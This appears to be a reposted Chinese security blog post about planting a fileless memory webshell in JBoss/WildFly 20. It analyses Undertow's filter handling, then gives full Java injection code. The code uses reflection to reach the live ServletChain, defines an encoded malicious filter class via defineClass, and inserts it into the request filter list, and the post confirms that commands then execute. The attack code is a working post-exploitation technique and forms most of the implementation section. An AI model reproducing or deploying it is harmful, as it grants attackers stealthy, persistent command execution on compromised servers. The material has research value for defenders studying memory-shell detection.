JBOSS 無文件webshell的技術研究


前幾篇文章主要研究了tomcat,weblogic的無文件webshell。這篇文章則重點研究jboss的無文件webhsell。下面分享一下思路

以下分析基於 jboss 社區版 wildfly-20.0.0.Final版本

0x01 wildfly 加載Filter分析

在Filter處隨便打一個斷點,如圖,觀察堆棧

jboss比較簡單,處理Filter的代碼如下所示

io.undertow.servlet.handlers.FilterHandler#handleRequest

public void handleRequest(HttpServerExchange exchange) throws Exception {
    ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY);
    ServletRequest request = servletRequestContext.getServletRequest();
    ServletResponse response = servletRequestContext.getServletResponse();
    DispatcherType dispatcher = servletRequestContext.getDispatcherType();
    Boolean supported = (Boolean)this.asyncSupported.get(dispatcher);
    if (supported != null && !supported) {
        servletRequestContext.setAsyncSupported(false);
    }


    List<ManagedFilter> filters = (List)this.filters.get(dispatcher);
    if (filters == null) {
        this.next.handleRequest(exchange);
    } else {
        FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
        filterChain.doFilter(request, response);
    }
}

FilterHandler的handleRequest方法中,獲取filter去創建filter。並創建FilterChainImpl。我們繼續向上分析哪些函數調用了hadleRequest。在io.undertow.servlet.handlers.ServletChain#ServletChain方法中,會執行forceInit方法,forceInit方法的代碼如下

io.undertow.servlet.handlers.ServletChain#forceInit
            List<ManagedFilter> list = filters.get(dispatcherType);
            if(list != null && !list.isEmpty()) {
                for(int i = 0; i < list.size(); ++i) {
                    ManagedFilter filter = list.get(i);
                    filter.forceInit();
                }
            }

跟入ManagedFilter的forceInit方法,forceInit方法主要作用是調用ManagedFilter的createFilter方法,去初始化一個Filter。代碼如下

    public void createFilter() throws ServletException {
        synchronized (this) {
            if (filter == null) {
                try {
                    handle = filterInfo.getInstanceFactory().createInstance();
                } catch (Exception e) {
                    throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e);
                }
                Filter filter = handle.getInstance();
                new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed();
                this.filter = filter;
            }
        }
    }

我們可以看出,在該函數中,如果檢測到Filter沒有注冊,則通過LifecyleInterceptorInvocation去初始化一個Filter,並添加到FilterHandler的Filter中。

0x02 實現

1. 獲取ServletChain

在ServletRequestContext中,我們可以發現如下方法

    /**
     * Gets the current threads {@link ServletRequestContext} if set, otherwise null.
     *
     * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable
     */
    public static ServletRequestContext current() {
        SecurityManager sm = System.getSecurityManager();
        if(sm != null) {
            sm.checkPermission(GET_CURRENT_REQUEST);
        }
        return CURRENT.get();
    }

通過ServletRequestContext.current這個靜態方法,可以獲取當前的ServletRequestContext對象。ServletRequestContext對象中,恰好存放我們需要的ServerChain對象,

2. 反射獲取ServletChain的filter

filter的類型為EnumMap,key為REQUEST,value為數組,依次存放需要調用的Filter。可以通過反射調用,代碼如下

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

3. 創建ManagedFilter

ServletChain的filter中,數組中的類型為ManagedFilterManagedFilter的構造參數中,需要兩個參數,分別為FilterInfo與servletContext。這兩個參數構造方法如下

3.1 FilterInfo

FilterInfo中,並不需要Class.forName,通過名稱去加載Filter類。相反,只需要在參數中提供Filter的Class即可,相關代碼如下

    public FilterInfo(final String name, final Class<? extends Filter> filterClass) {
        try {
            final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor();
            ctor.setAccessible(true);
            this.instanceFactory = new ConstructorInstanceFactory<>(ctor);
            this.name = name;
            this.filterClass = filterClass;
        } catch (NoSuchMethodException e) {
            throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass);
        }
    }

3.2 servletContext

servletContext與Context不是一個類型。但是可以從Context中獲取servletContext對象。

完整代碼如下

    Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
    Object curContext = currentM.invoke(null);

    Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
    Object servletChain = getCurrentServletM.invoke(curContext);

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

    String evilFilterClassName = "testFilter1";
    Class evilFilterClass = null;

    try {
        evilFilterClass = Class.forName(evilFilterClassName);
    } catch (ClassNotFoundException e) {
        BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
        String codeClass = "H4sIAAAAAAAA...";
        Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassM.setAccessible(true);
        evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
    }

    ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
    Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass);

    Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
    servletRequestF.setAccessible(true);
    Object obj = servletRequestF.get(curContext);

    Field servletContextF = obj.getClass().getDeclaredField("servletContext");
    servletContextF.setAccessible(true);
    Object servletContext = servletContextF.get(obj);

    Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);

    filterList.add(evilManagedFilter);

0x03 成果檢驗

jboss有些特殊,上面的內存馬只能在可以被正常訪問的頁面中才可以觸發內存馬。效果如下

添加需要執行的命令,內存馬開始執行命令,並輸入結果

正常訪問頁面,則無反應


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM